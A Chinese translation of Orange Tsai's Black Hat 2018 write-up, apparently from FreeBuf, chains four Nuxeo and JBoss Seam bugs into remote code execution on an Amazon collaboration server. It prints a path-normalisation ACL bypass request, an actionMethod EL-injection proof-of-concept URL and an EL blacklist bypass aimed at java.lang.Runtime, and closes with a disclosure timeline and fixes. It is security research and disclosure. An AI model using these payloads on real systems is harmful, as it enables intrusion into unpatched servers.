<samp id="wauki"></samp>
<samp id="wauki"><noscript id="wauki"></noscript></samp>

BlackHat 2018 | 看Orange Tsai如何利用四個Bug實現亞馬遜協同平臺的RCE漏洞

2018-08-20 215956人圍觀 ,發現 3 個不明物體 WEB安全漏洞

2018-08-17_225313.png臺灣白帽Orange Tsai(蔡政達)受邀前往本屆  Black Hat USA  和 DEFCON 26發表議題演講,在Breaking Parser Logic! Take Your Path Normalization Off and Pop 0days Out》的演講中,他分享了如何基于“不一致性”安全問題,綜合利用4個功能性Bug,實現對亞馬遜(Amazon)協同平臺系統的遠程代碼執行。

以下是他的詳細技術分享:

背景說明

在過去兩年時間里,我重點在研究一些“不一致(inconsistency)”的安全問題,這是什么問題呢?這就有點類似我去年在 Black Hat 的演講以及《GitHub SSRF to RCE》的研究一樣,我先通過發現URL解析器和URL獲取器之間的不一致問題,形成了整體SSRF繞過,最終實現更嚴重的漏洞利用。

另外,這篇由@0x09AL寫的文章《Bypassing Web-Application Firewalls by abusing SSL/TLS》,也詳細闡述了 “不一致“ 安全問題導致的重要漏洞,值得拜讀。

有了之前的基礎,今年我著重研究了路徑解析器和規范化之間的不一致安全問題。理論上來說,因為不同對象實體具備不同的標準和實現需求,所以很難開發出一款設計嚴格而全面的解析器。但當解析器出現安全Bug時,為了不影響業務邏輯,研發上通常的做法是采用某種替代方法或是增加某種過濾器,而不是直接給Bug打補丁,最后的影響是治標不治本。所以,這樣一來,如果過濾器和調用方法之間存在任何不一致問題,就可能輕松繞過系統本身設置的安全機制。

當我在閱讀一些漏洞分析報告時,我注意到了一種叫”URL路徑參數“( URL Path Parameter)的功能特性。一些研究人員已經指出,如果編程出現錯誤,這種特性可能會導致安全問題。通過點點滴滴的關聯分析,我發現這種特性可以完美地應用在多層體系結構中,而且默認情況下,不必編碼出錯,就存在攻擊面,可導致漏洞利用。如果你在反向代理中使用了Java后端服務,那么就可能存在這種漏洞!

早先在2015年時,我首先是在一次紅隊測試中發現了這種攻擊面,之后,我覺得這個問題威力超強,也想看看安全圈內的知悉面,于是,我就在WCTF 2016比賽的自出題中設計了一道相關題目

WCTF是由Belluminar和360共同舉辦的比賽,這與其他CTF比賽中的解題模式(Jeopardy)和攻防模式(Attack-Defense)不一樣,它邀請了全球各國的前10名團隊,每個團隊都需要設計兩道挑戰題目,所以總共有20個挑戰題目。你解題數量越多,你得到的點數就越多。然而,最后卻沒人能解出我出的這道題目。所以,那時我認為這種技術可能還并不為大多數人知曉。另外,我也對DirBuster、wFuzz、DirB 和 DirSearch這些掃描器作了測試,但只有DirSearch在2017年5月加入了這種掃描規則。

因此,今年我打算分享這個議題。但為了說服Black Hat 的審查委員會,我需要有力的用例支撐。所以,我又重拾挖洞,然而在測試中我發現,這種攻擊面不僅可以造成敏感信息泄露,還能繞過訪問控制列表(像我發現的這個優步OneLogin登錄繞過漏洞),在某些漏洞眾測項目中還能導致遠程代碼執行(RCE)。在這篇文章中,我就來介紹,利用這種 “不一致” 攻擊面問題,綜合4個功能Bug,實現對亞馬遜協同平臺的遠程代碼執行(RCE)。

多層架構的不一致性,可以形象的用以下圖片來表示:

01.png前言

首先,感謝亞馬遜(Amazon)開放的漏洞披露策略,與亞馬遜安全團隊Nuxeo的合作非常順暢,僅從漏洞上報進程來看,就可以看出亞馬遜快速的漏洞響應速度,以及他們積極的應對措施。

開始我們要從網站 corp.amazon.com 說起,這貌似是亞馬遜的一個內部協同系統,從網站的底部版權信息來看,該系統由開源項目Nuxeo部署構建。而Nuxeo又是一個龐大的Java項目,且剛開始我只是想提高一下我的Java審計技術。所以故事就從這里說起吧!

四個漏洞(Bug)

對我來說,當我拿到Java源碼時,我首先會看看 pom.xml 配置文件,然后再去查找是否存在過期的引用包。在Java生態系統中,很多漏洞都像 OWASP Top 10 – A9 描述的組件漏洞那樣,如涉及Struts2,、FastJSON、XStream等反序列化組件時,就可能存在漏洞

pom.xml主要描述了項目的maven坐標,依賴關系,開發者需要遵循的規則,缺陷管理系統,組織和licenses,以及其他所有的項目相關因素,是項目級別的配置文件。

這里的Nuxeo項目中,初看貌似其中的包都是最新的,但我卻發現了一個”老朋友“ – Seam框架。Seam是基于 JBoss 的web框架,隸屬紅帽Linux系統的分支,在早前幾年非常流行,但現在仍然存在大量基于Seam的web應用。

我曾在2016年對Seam進行過審計,也發現了其中一些風險隱患,但最終在這里,貌似也無法直接照搬實現。我們先繼續往下分析。

BUG 01:路徑規范化錯誤導致的訪問控制列表(ACL)繞過

當從WEB-INF/web.xml文件中查看訪問策略時,我發現Nuxeo項目使用了一個通用的驗證過濾器NuxeoAuthenticationFilter,并把/*類型目錄映射到了這個過濾器上。這種驗證機制下,大部份網頁都需要進行驗證,但也存在一個包含login.jsp這樣頁面的訪問入口白名單,所有這些功能都由一個名為bypassAuth的方法來具體實現:

protected boolean bypassAuth(HttpServletRequest httpRequest) {
   
    // init unAuthenticatedURLPrefix
    try {
        unAuthenticatedURLPrefixLock.readLock().lock();
        String requestPage = getRequestedPage(httpRequest);
        for (String prefix : unAuthenticatedURLPrefix) {
            if (requestPage.startsWith(prefix)) {
                return true;
            }
        }
    } finally {
        unAuthenticatedURLPrefixLock.readLock().unlock();
    }
    // ...
    return false;
}

從上述代碼可知,bypassAuth方法會檢索當前請求頁面與unAuthenticatedURLPrefix作一個比較,但是,bypassAuth方法是如何去檢索當前請求頁面的呢?為此,Nuxeo寫了一個getRequestedPage方法來從HttpServletRequest.RequestURI中提取出當前的請求頁面,這樣一來,第一個問題就出在這里了!

protected static String getRequestedPage(HttpServletRequest httpRequest) {
    String requestURI = httpRequest.getRequestURI();
    String context = httpRequest.getContextPath() + '/';
    String requestedPage = requestURI.substring(context.length());
    int i = requestedPage.indexOf(';');
    return i == -1 ? requestedPage : requestedPage.substring(0, i);
}

為了去處理URL路徑參數,Nuxeo用分號對所有的尾部進行了截斷,但是,URL路徑參數的行為是各式各樣的,每個web服務器都有自己的實現方式,Nuxeo的這種處理方式在WildFly、JBoss 和 WebLogic中可能會很安全,但在這里的Tomcat下可能就有問題了。也就是,getRequestedPage方法和 Servlet 容器之間的差異導致的安全問題!

由于它的截斷機制,我們就能偽造一個與訪問控制列表(ACL)白名單匹配,但又是Servlet 容器中未經授權的請求。這里,我們選擇login.jsp作為前綴請求文件,訪問控制列表(ACL)繞過的請求如下:

$ curl -I https://collaborate-corp.amazon.com/nuxeo/[unauthorized_area]
HTTP/1.1 302 Found
Location: login.jsp
...
$ curl -I https://collaborate-corp.amazon.com/nuxeo/login.jsp;/..;/[unauthorized_area]
HTTP/1.1 500 Internal Server Error
...

從上可以看到,我們設計了繞過重定向進行身份驗證的請求,但多數響應頁面返回的是一個500的錯誤。因為 servlet 邏輯無法獲取到一個有效的用戶框架信息,所以它拋出了一個 Java 的NullPointerException異常。盡管出現這樣的錯誤,我們還是一樣可以從中找到突破口。(PS:除了這種方法之外,我還發現了另外一種快捷的入侵方式,留作下次再分享)

BUG 02:代碼重用功能導致的部分表達式調用(EL invocation)

像我前述的,在Seam框架中其實存在很多風險隱患,因此,對于我來說,下一步就是盡量嘗試利用上面分析的第一個BUG來實現對 Seam 中的 servlet 進行未授權訪問測試。接下來,我會詳細解釋其中涉及的不同應用功能。

為了對瀏覽器的重定向跳轉進行控制,Seam調用了一系列的HTTP參數,而且這些參數都存在隱患,如actionOutcome就是其中之一。在2013年,研究人員@meder就在其中發現了一個遠程代碼執行漏洞,你可以認真讀讀他的這篇文章-《 CVE-2010-1871: JBoss Seam Framework remote code execution》,但在這里,我們要來討論的是另一個參數 – actionMethod。

actionMethod 是一個特殊的參數,它會從查詢字符串中調用特定的 JBoss 表達式,這種方式貌似不安全,但調用也是有一些前提條件的。具體的實現過程可在callAction中查看到:

https://github.com/seam2/jboss-seam/blob/f3077fee9d04b2b3545628cd9e6b58c859feb988/jboss-seam/src/main/java/org/jboss/seam/navigation/Pages.java#L697

如果要調用表達式(EL),必須要滿足以下前提條件:

1 參數actionMethod的值必須是配對的,也就是像這樣的 FILENAME:EL_CODE

2 FILENAME部份的值必須是在Nuxeo中context-root下的真實文件

3 FILENAME對應的真實文件中必須包含”#{EL_CODE}”(包括兩個雙引號)

這種FILENAME對應的真實文件就像以下這個 login.xhtml 文件一樣:

<div class="entry">
    <div class="label">
        <h:outputLabel id="UsernameLabel" for="username">Username:</h:outputLabel>
    </div>
    <div class="input">
        <s:decorate id="usernameDecorate">
            <h:inputText id="username" value="#{user.username}" required="true"></h:inputText>
        </s:decorate>
    </div>
</div>

這樣,你就可以通過下述URL鏈接來調用表達式 user.username :

http://host/whatever.xhtml?actionMethod=/foo.xhtml:user.username

BUG 03:二次評估判斷導致的表達式注入(EL injection)

上一個BUG中的功能錯誤看起來比較符合,但是卻不能控制context-root下的任意文件,這樣也就無法在遠程目標服務器中調用任意表達式(EL)。然而這里卻存在一個特別厲害的功能BUG….:

嚴重點說就是,如果上一個BUG能返回一個字符串,并且這個字符串看起來像一個表達式,那么 Seam 框架將會被再次調用!

02.png以下是一些詳細的調用棧信息:

callAction(Pages.java)

handleOutcome(Pages.java)

handleNavigation(SeamNavigationHandler.java)

interpolateAndRedirect(FacesManager.java)

interpolate(Interpolator.java)

interpolateExpressions(Interpolator.java)

createValueExpression(Expressions.java)

利用這個酷炫的功能,如果我們能控制返回值,也就能間接執行任意表達式(EL)了!這就有點像二進制漏洞利用中的返回導向編程技術(Return-Oriented Programming, ROP),所以,剩下來的就是要找到一個具備這種字符串返回功能的適合組件來實現BUG利用了。

在這個用例中,我們就選擇widgets/suggest_add_new_directory_entry_iframe.xhtml中的組件:

<nxu:set var="directoryNameForPopup"
    value="#{request.getParameter('directoryNameForPopup')}"
    cache="true">
  <nxu:set var="directoryNameForPopup"
    value="#{nxu:test(empty directoryNameForPopup, select2DirectoryActions.directoryName, directoryNameForPopup)}"
    cache="true">
  <c:if test="#{not empty directoryNameForPopup}">

為什么選擇這個呢?因為其中的request.getParameter會返回一個我們可以控制的,來自查詢字符串中的字符串!雖然整個標記是為了分配一個變量,但我們可對其語法語義進行濫用!

所以,基于上述這段代碼,我們可以把第二階段 Payload 放到變量 directoryNameForPopup 中,然后再利用第一個BUG,綜合起來就能實現無需驗證的任意表達式(EL)執行了,以下是PoC:

http://host/nuxeo/login.jsp;/..;/create_file.xhtml
?actionMethod=widgets/suggest_add_new_directory_entry_iframe.xhtml:request.getParameter('directoryNameForPopup')
&directoryNameForPopup=/?#{HERE_IS_THE_EL}

難道就只能這樣了嗎?當然不!雖然我們可以執行任意表達式,但卻無法成功反彈控制shell。接著往下看!

BUG 04:繞過表達式黑名單導致的遠程代碼執行漏洞(RCE)

Seam 官方也清楚其中的表達式語言(EL)存在的問題,所以,自Seam 2.2.2.Final版本之后,就在其中加入了一個新的表達式黑名單,用它來阻止一些不安全的調用!而且不幸的是, Nuxeo開源項目內置使用了 Seam 的  2.3.1.Final 最新版本,所以,我們必須要找到一種能成功繞過表達式黑名單的有效方法。而該表達式黑名單可以在 resources/org/jboss/seam/blacklist.properties 中找到:

.getClass(
.class.
.addRole(
.getPassword(
.removeRole(

經過一番鉆研,我發現這種黑名單機制僅只是簡單的字符串匹配規則,眾所周知,黑名單機制通常都不算是一種好策略。初次看到這個黑名單,我就想到了對Struts2 S2-020的繞過方法,它和這里的黑名單繞過有著異曲同工之妙,它們都使用了類似數組的操作符來繞過黑名單機制,只需把這里的:

"".getClass().forName("java.lang.Runtime")

修改為:

""["class"].forName("java.lang.Runtime")

就OK了,是不是非常簡單!是的!好了!

所以,現在最后的剩下的事情就是利用 JBoss 表達式語言(EL)編寫 shellcode 了,采用Java 反射 API來獲取 java.lang.Runtime 對象,并列出其中所有的涉及方法。getRuntime()方法會返回一個 Runtime 實例, exec(String)方法則會執行我們的預置命令!

綜合以上Bug01、Bug02、Bug03和Bug04,就能實現RCE漏洞的執行。以下就是大致的實現步驟:

1、用路徑規范化錯誤造成訪問控制列表(ACL)繞過;

2、繞過白名單機制實現未授權的 Seam servlet 訪問;

3、使用Seam功能的actionMethod參數去調用文件中的合適組件suggest_add_new_directory_entry_iframe.xhtml;

4、在HTTP參數directoryNameForPopup中準備第二階段Payload;

5、使用類似數組的操作符來繞過表達式語言(EL)黑名單;

6、用 Java 反射型 API 來編寫shellcode;

7、靜待反彈控制 shell,成為黑客大佬。

以下就是整個漏洞利用exploit:

03.png執行最終的Perl測試腳本,可以成功獲取到反彈控制shell:

04.png

修復措施

JBoss

因為Seam框架存在的安全隱患最為直接,所以我曾在2016年9月曾把這些功能性Bug,以郵件方式通報給了它的官方應用商JBoss ([email protected]),但得到的卻是這樣的回復:


非常感謝你的漏洞通報。

目前,Seam只包含在我們 JBOSS 企業應用平臺(EAP)的 5.0版本中,并不包含在其中的6和7版本中。而且,JBOSS 企業應用平臺(EAP)即將在2016年11月停止維護更新,你用來測試的上游版本是3年前就發布的了。

在我們對JBOSS 企業應用平臺(EAP)5.0版本的維護更新中,我們只接收一些高危或關鍵的漏洞問題。你強調的RCE漏洞實現,前提需要在攻擊中先上傳一個文件,所以某種程度上來說,這就會致使漏洞影響降級。

在Seam項目生命周期的這個階段,我們不會費心去修復這類安全問題。非常感謝,也希望你今后繼續向我們通報安全問題。

所以,由于項目的終止問題,這些問題功能Bug從未得到過官方的補丁修復,但是,現實網絡世界中卻還存在著大量基于Seam的應用。所以,如果你用了Seam,建議你盡快采用Nuxeo給出的方案來緩解這些問題。

Amazon

經過快速響應調查,Amazon安全團隊第一時間隔離了存在漏洞的協同平臺服務器,和我及時討論了相關緩解措施,并告知了我他們具體的修復措施。

Nuxeo

經由Amazon的通報,Nuxeo也快速的釋出了8.10的一個補丁,該補丁通過覆蓋了callAction() 方法來修復了其中的功能性Bug。具體請參考這里的補丁文件

漏洞上報進程

2018年3月10日01:13  通過郵箱[email protected]向Amazon安全團隊通報漏洞

2018年3月10日01:38  Amazon回應正在展開分析調查

2018年3月10日03:12  Amazon請求我是否能參加他們安全團隊的電話會議

2018年3月10日05:30  與Amazon召開電話會議,對他們的漏洞修復措施進行了了解

2018年3月10日16:05  詢問Amazon是否我可以在Black Hat大會上公開披露這個漏洞

2018年3月15日04:58  Nuxeo發布了8.10的新版本,修復了其中的RCE漏洞

2018年3月15日23:00  與Amazon召開電話會議,了解當前修復情況并討論漏洞披露細節

2018年4月 5日05:40   獲得Amazon賞金

*參考來源:Orange,clouds編譯,轉載請注明來自FreeBuf.COM

發表評論

已有 3 條評論

取消
Loading...
css.php 江苏11选5网上购买